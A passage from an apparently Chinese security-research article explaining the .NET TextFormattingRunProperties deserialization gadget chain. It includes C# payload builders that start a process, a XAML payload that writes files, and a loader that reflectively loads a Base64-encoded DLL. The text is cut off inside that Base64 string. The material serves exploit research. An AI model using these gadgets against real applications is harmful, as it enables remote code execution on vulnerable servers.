63);">既然我们无法直接对ObjectDataProvider进行序列化，那我们只要寻找到使用ObjectDataProvider实例作为参数并且可以序列化的类就可以了。在ysoserial.net中的 TextFormattingRunProperties给出了完整的利用。大概的利用流程是：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">TextFormattingRunProperties -&gt; XamlReader.Parse -&gt;ResourceDictionary -&gt; ObjectDataProvider -&gt; Code Execute</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">TextFormattingRunProperties来自命名空间Microsoft.VisualStudio.Text.Formatting，看起来像装了VisualStudio才有的功能，但研究员在Microsoft.PowerShell.Editor.dll中也发现了该命名空间，该链作为windows系统下比较常见的一个链。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">仿照ysoserial.net实现TextFormattingRunPropertiesMarshal链的例子：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Linq;<br/>using System.Text;<br/>using System.Threading.Tasks;<br/>using System.IO;<br/>using System.Windows.Data;<br/>using System.Windows;<br/>using System.Xml;<br/>using System.Runtime.Serialization.Formatters.Binary;<br/>using System.Collections.Specialized;<br/>using System.Collections.Generic;<br/>using System.Runtime.Serialization;<br/>using Microsoft.VisualStudio.Text.Formatting;<br/>using System.Diagnostics;<br/>using System.Windows.Data;<br/>using System.Reflection;<br/>namespace ObjectDataProviderExample<br/>{<br/>    class Program<br/>    {<br/>        [Serializable]<br/>        public class TextFormattingRunPropertiesMarshal : ISerializable<br/>        {<br/>            protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)<br/>            {<br/>            }<br/>            string _xaml;<br/>            public void GetObjectData(SerializationInfo info, StreamingContext context)<br/>            {<br/>                Type typeTFRP = typeof(TextFormattingRunProperties);<br/>                info.SetType(typeTFRP);<br/>                info.AddValue(&#34;ForegroundBrush&#34;, _xaml);<br/>            }<br/>            public TextFormattingRunPropertiesMarshal(string xaml)<br/>            {<br/>                _xaml = xaml;<br/>            }<br/>        }<br/>        static void Main(string[] args)<br/>        {<br/>            ObjectDataProvider odp = new ObjectDataProvider();<br/>            odp.MethodParameters.Add(&#34;notepad&#34;);<br/>            odp.MethodName = &#34;Start&#34;;<br/>            odp.ObjectType = typeof(System.Diagnostics.Process);<br/> <br/>            ResourceDictionary myResourceDictionary = new ResourceDictionary();<br/>            myResourceDictionary.Add(&#34;&#34;, odp);<br/> <br/> <br/>            XmlWriterSettings settings = new XmlWriterSettings();<br/>            settings.Indent = true;<br/>            StringBuilder sb = new StringBuilder();<br/> <br/>            using (XmlWriter writer = XmlWriter.Create(sb, settings))<br/>            {<br/>                System.Windows.Markup.XamlWriter.Save(odp, writer);<br/>            }<br/> <br/>            string text = sb.ToString();<br/>            <br/>            TextFormattingRunPropertiesMarshal obj1 = new TextFormattingRunPropertiesMarshal(text);<br/>            BinaryFormatter binaryFormatter = new BinaryFormatter();<br/>            Stream stream = new FileStream(&#34;1.ser&#34;, FileMode.Create, FileAccess.Write, FileShare.None);<br/>            binaryFormatter.Serialize(stream, obj1);<br/>            stream.Close();<br/>            BinaryFormatter binaryFormatter1 = new BinaryFormatter();<br/>            FileStream stream2 = new FileStream(@&#34;1.ser&#34;, FileMode.Open);<br/>            Object obj = binaryFormatter1.Deserialize(stream2);<br/>        }<br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">尝试反序列化时报错，所没有提供MethodParameters，看xaml数据确实如此：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2990961380443714" title="null" data-w="1217" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a5203c10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzEBIbNeH2ap5R9AErLBaia6OpKCicohLta2IAJVcLHmL5meziaqNxH2UEg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">仿照ysoserial，通过指定StartInfo这个参数回避了这个问题：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5619208087615838" title="null" data-w="1187" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7aaee65d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzCofVowZ3D0WRgozfPjvGE2epfclw4D4mC1ibWacSNtcpgibXxG05r1icw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">xaml变化很大：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.35581188997338065" title="null" data-w="1127" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4f8bc107&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzEluhhzOtS7RanILUMXrXbR7y9LopNGWstibfqFmyibXqU5x4h8QVPnAg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">虽然报错，但反序列化已经执行：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.36310025273799496" title="null" data-w="1187" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=162f1a4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzO5eNsQ4ODsqjXZQMCL2gSg7B6lwG824h4wY8zQqegibzBju10KiaJ0Ew%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们写文件无法回避这个问题，无法通过直接调用myResourceDictionary.Add(&#34;&#34;, odp)的方式构造出xaml。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">目前的解决办法就是手动进行构造xaml，这里使用zcgonvh师傅的轮子进行修改：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">string text= @&#34;&lt;ResourceDictionary<br/>xmlns=&#34;&#34;<a href="http://schemas.microsoft.com/winfx/2006/xaml/presentation" target="_blank">http://schemas.microsoft.com/winfx/2006/xaml/presentation</a>&#34;&#34;<br/>xmlns:x = &#34;&#34;<a href="http://schemas.microsoft.com/winfx/2006/xaml" target="_blank">http://schemas.microsoft.com/winfx/2006/xaml</a>&#34;&#34;<br/>xmlns:s = &#34;&#34;clr-namespace:System;assembly=mscorlib&#34;&#34;&gt;<br/>   &lt;ObjectDataProvider x:Key = &#34;&#34;x&#34;&#34; ObjectType = &#34;&#34;{x:Type s:IO.File}&#34;&#34; MethodName = &#34;&#34;AppendAllText&#34;&#34;&gt;<br/>   &lt;ObjectDataProvider.MethodParameters &gt;<br/>&lt;s:String&gt;1.txt&lt;/s:String&gt;<br/>&lt;s:String&gt;aaaaaaaaaaaaaa&lt;/s:String&gt;<br/> &lt;/ObjectDataProvider.MethodParameters&gt;<br/>   &lt;/ObjectDataProvider&gt;<br/> &lt;/ResourceDictionary&gt;<br/>&#34;;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">经过测试，可以成功写入文件。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">TextFormattingRunProperties链原理</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">TextFormattingRunProperties的构造函数中调用GetObjectFromSerializationInfo：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4637002341920375" title="null" data-w="854" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=03df7211&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzKpCGGkibh9UnBicKvEcfAgPVRL6mKKLhBzOdQtzrCP5yviakVYB5YuOYg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该函数调用 XamlReader.Parse解析xaml，后续解析ResourceDictionary再调用ObjectDataProvider</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2547699214365881" title="null" data-w="891" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4e3dec93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzhAepmw1juTAn61AjR3iaRw1Qz2LQbphK03MpaFdiayayo5PgyQPUia9FQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">寻找一种通用的执行方式</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">实现动态代码执行的功能c#中一般有两种方式，一种为jscript中的eval，如经典的菜刀webshell实现。另一种就是哥斯拉冰蝎等工具使用的反射加载技术。在ResourceDictionary我们同样可以使用反射加载技术。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先生成一个dll：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Linq;<br/>using System.Text;<br/>using System.IO;<br/>using System.Threading.Tasks;<br/>namespace ClassLibrary1<br/>{<br/>    public class Class1<br/>    {<br/>        public  Class1() {<br/>            File.WriteAllText(@&#34;c:\programdata\1.txt&#34;, &#34;aaaaaaaaaa&#34;);<br/>        }<br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">编译后生成对应的base64字符串：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">import base64<br/>with open(&#34;ClassLibrary1.dll&#34;,&#34;rb&#34;) as f:<br/>    t=f.read()<br/>    print(base64.b64encode(t))</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">需要命名空间.类名的形式进行调用，这里是ClassLibrary1.Class1:</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Linq;<br/>using System.Text;<br/>using System.Threading.Tasks;<br/>using System.IO;<br/>using System.Windows.Data;<br/>using System.Windows;<br/>using System.Xml;<br/>using System.Runtime.Serialization.Formatters.Binary;<br/>using System.Collections.Specialized;<br/>using System.Collections.Generic;<br/>using System.Runtime.Serialization;<br/>using Microsoft.VisualStudio.Text.Formatting;<br/>using System.Diagnostics;<br/>using System.Windows.Data;<br/>using System.Reflection;<br/>namespace ObjectDataProviderExample<br/>{<br/>    class Program<br/>    {<br/>        [Serializable]<br/>        public class TextFormattingRunPropertiesMarshal : ISerializable<br/>        {<br/>            protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)<br/>            {<br/>            }<br/>            string _xaml;<br/>            public void GetObjectData(SerializationInfo info, StreamingContext context)<br/>            {<br/>                Type typeTFRP = typeof(TextFormattingRunProperties);<br/>                info.SetType(typeTFRP);<br/>                info.AddValue(&#34;ForegroundBrush&#34;, _xaml);<br/>            }<br/>            public TextFormattingRunPropertiesMarshal(string xaml)<br/>            {<br/>                _xaml = xaml;<br/>            }<br/>        }<br/>        static void Main(string[] args)<br/>        {<br/>            string dllloader = @&#34;&lt;ResourceDictionary<br/>xmlns=&#34;&#34;<a href="http://schemas.microsoft.com/winfx/2006/xaml/presentation" target="_blank">http://schemas.microsoft.com/winfx/2006/xaml/presentation</a>&#34;&#34;<br/>xmlns:xaml=&#34;&#34;<a href="http://schemas.microsoft.com/winfx/2006/xaml" target="_blank">http://schemas.microsoft.com/winfx/2006/xaml</a>&#34;&#34; <br/>xmlns:system=&#34;&#34;clr-namespace:System;assembly=mscorlib&#34;&#34; <br/>xmlns:reflection=&#34;&#34;clr-namespace:System.Reflection;assembly=mscorlib&#34;&#34;&gt;<br/>    &lt;system:Object xaml:Key=&#34;&#34;array&#34;&#34; xaml:FactoryMethod=&#34;&#34;system:Convert.FromBase64String&#34;&#34; xaml:Arguments=&#34;&#34;!!base64!!&#34;&#34;&gt;&lt;/system:Object&gt;<br/>    &lt;reflection:Assembly xaml:Key=&#34;&#34;assembly&#34;&#34; xaml:FactoryMethod=&#34;&#34;reflection:Assembly.Load&#34;&#34; xaml:Arguments=&#34;&#34;{StaticResource array}&#34;&#34;&gt;&lt;/reflection:Assembly&gt;<br/>    &lt;ObjectDataProvider xaml:Key=&#34;&#34;instance&#34;&#34; ObjectInstance=&#34;&#34;{StaticResource assembly}&#34;&#34; MethodName=&#34;&#34;CreateInstance&#34;&#34;&gt;<br/>        &lt;ObjectDataProvider.MethodParameters&gt;<br/>            &lt;system:String&gt;!!classname!!&lt;/system:String&gt;<br/>            &lt;system:Boolean&gt;False&lt;/system:Boolean&gt;<br/>        &lt;/ObjectDataProvider.MethodParameters&gt;<br/>    &lt;/ObjectDataProvider&gt;<br/>&lt;/ResourceDictionary&gt;&#34;.Replace(&#34;!!base64!!&#34;, &#34;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEmE27oAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAQicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAO4mAABPAAAAAEAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABIJgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAASAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAiJwAAAAAAAEgAAAACAAUAaCAAAOAFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFoCKA8AAApyAQAAcHIrAABwKBAAAAoqAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAALQBAAAjfgAAIAIAAFwCAAAjU3RyaW5ncwAAAAB8BAAARAAAACNVUwDABAAAEAAAACNHVUlEAAAA0AQAABABAAAjQmxvYgAAAAAAAAACAAABRxQAAAkAAAAA+gEzABYAAAEAAAARAAAAAgAAAAEAAAAQAAAADgAAAAEAAAABAAAAAAC2AQEAAAAAAAYAEQEZAgYAfgEZAgYARQDnAQ8AOQIAAAYAbQDPAQYA9ADPAQYA1QDPAQYAZQHPAQYAMQHPAQYASgHPAQYAhADPAQYAWQD6AQYANwD6AQYAuADPAQYAnwCcAQYASALIAQYAMgAfAAAAAAAWAAAAAAABAAEAAQAQAAEACABBAAEAAQBQIAAAAACGGOEBBgABAAkA4QEBABEA4QEGABkA4QEKACkA4QEQADEA4QEQADkA4QEQAEEA4QEQAEkA4QEQAFEA4QEQAFkA4QEQAGEA4QEVAGkA4QEQAHEA4QEQAHkA4QEQAIEA4QEGAIkATwIaAC4ACwApAC4AEwAyAC4AGwBRAC4AIwBaAC4AKwBtAC4AMwBtAC4AOwBtAC4AQwBaAC4ASwBzAC4AUwBtAC4AWwBtAC4AYwCLAC4AawC1AC4AcwDCAASAAAABAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAgACkAAAAAAAAAAAAAQ2xhc3MxAENsYXNzTGlicmFyeTEAPE1vZHVsZT4AU3lzdGVtLklPAG1zY29ybGliAEZpbGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBDbGFzc0xpYnJhcnkxLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24ALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAE9iamVjdABXcml0ZUFsbFRleHQAACljADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAxAC4AdAB4AHQAABVhAGEAYQBhAGEAYQBhAGEAYQBhAAAAAADcbRC172yDSYvC69bJtjGjAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIFAAIBDg4It3pcVhk04IkIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAAEgEADUNsYXNzTGlicmFyeTEAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMjIAACkBACRlYmE4MTJkMS00ZTEzLTQxMjAtOTAwYi0xMzFjNjYyMmJkNGEAAAwBAAcxLjAuMC4wAABNAQAcLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjYuMQEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC42LjEAAAAAzBRvqwAAAAACAAAAbgAAAIAmAACACAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAFJTRFPsf02msD35SpDH0YXifV6sAQAAAEM6XFVzZXJzXHNoYXJrXHNvdXJjZVxyZXBvc1xDbGFzc0xpYnJhcnkxXENsYXNzTGlicmFyeTFcb2JqXFJlbGVhc2VcQ2xhc3NMaWJyYXJ5MS5wZGIAFicAAAAAAAAAAAAAMCcAAAAgAAAAAAAAAAAAAAAAAAA